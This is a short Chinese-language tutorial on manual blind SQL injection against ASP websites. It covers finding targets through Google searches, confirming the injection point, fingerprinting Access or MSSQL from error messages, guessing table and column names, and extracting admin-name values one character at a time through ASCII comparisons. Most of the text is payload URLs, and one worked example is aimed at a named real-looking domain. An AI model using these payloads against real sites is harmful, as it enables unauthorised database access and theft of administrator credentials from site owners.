判断是否存在注入
找到一个类似于http://www.xxx.com/xx.asp?id=xxxx的URL后(用Google Hack搜索),加 ‘ (单引号),报错,则该网站可能就存在注入漏洞了,然后分为 提交 http://www.xxx.com/xx.asp?id=xxxx and 1=1和http://www.xxx.com/xx.asp?id=xxxx and 1=2 如果它们两返回的页面不同就说明存在注入漏洞
判断后台数据库的类型
http://www.xxx.com/xx.asp?id=xxxx and user>0
如果是ACCESS数据库,就会在返回的错误里面含有“Microsoft JEF Database”关键字
如果是MSSQL数据库,就会在返回的错误提示里面含有“SQL Sever”关键字
猜解表名
http://www.xxx.com/xx.asp?id=xxxx and exists (select * from 表名)
或
http://www.xxx.com/xx.asp?id=xxxx and exists (select count from 表名)
若页面返回正常,则说明存在这个表
猜解列名
http://www.xxx.com/xx.asp?id=xxxx and exists (select 列名 from 表名)
或
http://www.xxx.com/xx.asp?id=xxxx and exists (select count(列名) from 表名)
若页面返回正常,则说明存在这个列
猜解列的长度
http://www.xxx.com/xx.asp?id=xxxx and (select top 1 len(列名) from 表名) > x
其中x是数字,我们需要变换这个x就是列的长度值。
例:若提交
http://www.xxx.com/xx.asp?id=xxxx and (select top 1 len(adminname) from config)>1、>2、>3、>4都返回正常,
猜到>5时出现错误提示,说明列的长度为5
注:变换top后的数字就可以猜解这个列的第N行长度
http://www.xxx.com/xx.asp?id=xxxx and (select top N len(adminname) from config)>x
这就是猜解adminname列的第N行长度
猜解列的内容
介绍两个函数:
-
Mid函数:Mid(列名,N,1)函数截取第N位字符
-
ASC函数:ASC(Mid(列名,N,1))函数得到第N位字符的ASCII码
http://www.xxx.com/xx.asp?id=xxxx and (select top 1 asc(mid(列名,列数N,1)) from 表名) > x
注:1. top后的数字为该列的第N行,x为ASCII码,列数N就是在这一列中的第几个数字
例:如果提交
http://www.cctv5.com.cn/TVPLAY.ASP?id=7 and (select top 1 asc(mid(adminname,1,1)) from config) >50,返回正常,
提交>100返回正常,提交>80返回正常,提交>96返回正常,提交>97返回错误,所以adminname列的第一行记录中的第一个字母的ASCII码为97,也就是字母a